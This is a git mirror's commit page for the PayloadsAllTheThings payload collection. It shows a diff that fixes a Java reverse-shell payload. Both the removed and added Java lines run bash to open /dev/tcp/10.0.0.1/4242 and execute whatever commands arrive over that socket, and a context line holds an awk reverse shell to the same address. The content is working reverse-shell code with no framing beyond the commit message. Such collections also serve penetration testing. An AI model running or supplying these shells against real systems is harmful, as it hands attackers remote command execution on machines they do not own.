mirror of
https://github.com/weyne85/PayloadsAllTheThings.git
synced 2025-10-29 16:57:02 +00:00
Merge pull request #341 from cosmin-bianu/master
Fix Java payload (issue #337)
This commit is contained in:
commit
22a1662f60
@ -209,9 +209,9 @@ awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |&
|
|||||||
### Java
|
### Java
|
||||||
|
|
||||||
```java
|
```java
|
||||||
r = Runtime.getRuntime()
|
Runtime r = Runtime.getRuntime();
|
||||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
|
||||||
p.waitFor()
|
p.waitFor();
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user